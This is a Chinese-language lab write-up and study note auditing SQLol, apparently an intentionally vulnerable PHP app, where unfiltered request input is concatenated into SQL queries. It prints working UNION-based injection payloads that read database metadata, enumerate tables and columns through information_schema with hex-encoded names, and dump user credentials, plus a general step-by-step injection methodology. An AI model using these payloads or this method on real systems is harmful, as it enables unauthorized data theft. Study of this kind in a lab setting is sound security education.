[PHP代码审计] -那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况-学习笔记
环境搭建:
mamp pro +phpstorm
漏洞分析:
看下源码结构,只有一个include文件夹包含一些数据库配置文件:
1.看select.php文件,开始引入了/include/nav.inc.php
<?php
include('includes/nav.inc.php');
?>
2.跟进nav.inc.php文件,发现该文件是select的核心表单提交页面以及输入处理程序:
表单的输入处理程序比较简单,主要是根据你表单的选择作出相应的过滤和处理。
比如你勾选了单引号处理的选项之后,$_REQUEST[‘sanitize_quotes’]这个变量就会储存你选择项的值,进入switch结构进行判断。
选项的变量和值的列表如下:
$_REQUEST['sanitize_quotes']
单引号过滤选项
quotes_double
// 单引号加倍(‘变为”)quotes_escape
//单引号转义(加)quotes_remove
//移除单引号
$_REQUEST['spaces_remove']
移除空格过滤选项
on
$_REQUEST['blacklist_keywords']
黑名单关键字的处理$_REQUEST['blacklist_level']
黑名单过滤级别
- low
- medium
- high
3.我们再返回到select.php,发现后面也有个submit后表单处理程序,判断要注射的位置并构造sql语句,跟进看下:
<?php
if(isset($_REQUEST['submit'])){ //Injection time! //submit后,进入处理程序之二,1在上面
if($_REQUEST['location'] == 'entire_query'){//If we're injecting an entire query (SQLi as a feature, seems unrealistic but I've seen it more than once) then let's not waste cycles building the query.
//判断是不是整条语句都要注入,这里方便学习可以忽略不管
$query = $_REQUEST['inject_string'];
if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') $displayquery = '<u>' . $_REQUEST['inject_string'] . '</u>';
} else { //Otherwise, define all the parts of the query and replace only the portion we're injecting into.
//这里是根据你选择要注射的位置来构造sql语句
$display_column_name = $column_name = 'username';
$display_table_name = $table_name = 'users';
$display_where_clause = $where_clause = 'WHERE isadmin = 0';
$display_group_by_clause = $group_by_clause = 'GROUP BY username';
$display_order_by_clause = $order_by_clause = 'ORDER BY username ASC';
$display_having_clause = $having_clause = 'HAVING 1 = 1';
switch ($_REQUEST['location']){
case 'column_name':
$column_name = $_REQUEST['inject_string'];
$display_column_name = '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'table_name':
$table_name = $_REQUEST['inject_string'];
$display_table_name = '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'where_string':
$where_clause = "WHERE username = '" . $_REQUEST['inject_string'] . "'";
$display_where_clause = "WHERE username = '" . '<u>' . $_REQUEST['inject_string'] . '</u>' . "'";
break;
case 'where_int':
$where_clause = 'WHERE isadmin = ' . $_REQUEST['inject_string'];
$display_where_clause = 'WHERE isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'group_by':
$group_by_clause = 'GROUP BY ' . $_REQUEST['inject_string'];
$display_group_by_clause = 'GROUP BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'order_by':
$order_by_clause = 'ORDER BY ' . $_REQUEST['inject_string'] . ' ASC';
$display_order_by_clause = 'ORDER BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>' . ' ASC';
break;
case 'having':
$having_clause = 'HAVING isadmin = ' . $_REQUEST['inject_string'];
$display_having_clause = 'HAVING isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
}
$query = "SELECT $column_name FROM $table_name $where_clause $group_by_clause $order_by_clause ";
/*Probably a better way to create $displayquery...
This allows me to underline the injection string
in the resulting query that's displayed with the
"Show Query" option without munging the query
which hits the database.*/
$displayquery = "SELECT $display_column_name FROM $display_table_name $display_where_clause $display_group_by_clause $display_order_by_clause ";
}
4.跟进database.inc.php,终于带入查询了,所以表单看懂了,整个过程就没过滤^ ^
$db_conn = NewADOConnection($dsn);
print("\n<br>\n<br>");
if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') echo "Query (injection string is <u>underlined</u>): " . $displayquery . "\n<br>";
$db_conn->SetFetchMode(ADODB_FETCH_ASSOC);
$results = $db_conn->Execute($query); # 执行查询
漏洞证明:
1.有了注入点了,我们先随意输入1然后选择注射位置为Where子句里的数字,开启Seay的MySql日志监控
这里我没有用mysql日志监控,由于知道最后在哪里执行查询语句,只要在上面添加断点,进行调试即可。
2.知道了sql的查询语句了,SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC
3.构造获取数据库相关信息的POC:
payload:-1 union select concat(database(),0x5c,user(),0x5c,version())#
断点调试知道了,最后的查询语句为SELECT username FROM users WHERE isadmin = -1 union select concat(database(),0x5c,user(),0x5c,version())# GROUP BY username ORDER BY username ASC
查询结果为:
看看为什么要这样子构造payload?
- mysql CONCAT()函数用于将多个字符串连接成一个字符串,就是将下面的查询连接在一起成为一个字符串
select database()
select 0x5c
select user()
select version()
- Backslash \ 反斜线在Unicode字符是U+005C、ASCII字符是92(0x5C)。
4.构造获取数据库sqlol中所有表信息的POC:
payload:-1 union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C#
查询语句为SELECT username FROM users WHERE isadmin = -1 union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C# GROUP BY username ORDER BY username ASC
GROUP_CONCAT()
- 1、功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
- 2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )
DISTINCT
- 说明:通过使用distinct可以排除重复值
table_schema=0x73716C6F6C
- 0x73716C6F6C是sqlol的Hex编码
把结果合在一个字符串了。知道了有2张表ssn和users.
5.构造获取admin表所有字段信息的POC:
payload:-1 union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E#
0x61646D696E为admin的十六进制编码
通过information_schema
来获取数据库中名称为admin表的字段
我的sqlol数据库中没有admin这张表,而vauditdemo数据库中有这个表。这里应该是要结合第4步,知道了有ssn和users这两张表,把payload修改为-1 union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x7573657273#
去获取users表中的所有字段名。
这么多,看来是多个数据库中含有相同的表名为users
6.构造获取admin表账户密码的POC:
payload:-1 union select GROUP_CONCAT(DISTINCT username,0x5f,password) from admin#
那我这里要获取users表中的重要字段的信息。
修改payload为-1 union select GROUP_CONCAT(DISTINCT username,0x5f,isadmin,0x5f,id) from users#
结果为:Array ( [username] => Herp Derper_1_1,SlapdeBack LovedeFace_1_2,Wengdack Slobdegoob_0_3,Chunk MacRunfast_0_4,Peter Weiner_0_5 )
总结:
十六进制的好处:
可以不用单引号
select column_name from information_schema.columns where table_name=0x7573657273
select column_name from information_schema.columns where table_name='users'
这两个查询语句的结果相同
一些mysql函数:
GROUP_CONCAT()
- 1、功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
- 2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )
DISTINCT
- 说明:通过使用distinct可以排除重复值
concat()
- mysql CONCAT()函数用于将多个字符串连接成一个字符串,就是将下面的查询连接在一起成为一个字符串
测试sql注入的流程:
- 1.是否存在注入
- 2.猜测其查询语句(黑盒要猜测,白盒可以直接知道)
- 3.获取数据库信息
- 当前数据库名
database()
- 当前用户名
user()
- 当前数据库版本
version()
- 当前数据库名
- 4.知道数据库名后,获取该数据库下的所有表名
- 5.在所有表名中判断出重要的表,如users表或者admin表
- 6.获取重要的表的字段名,判断哪些是重要的字段
- 7.获取重要的表的重要的字段的数据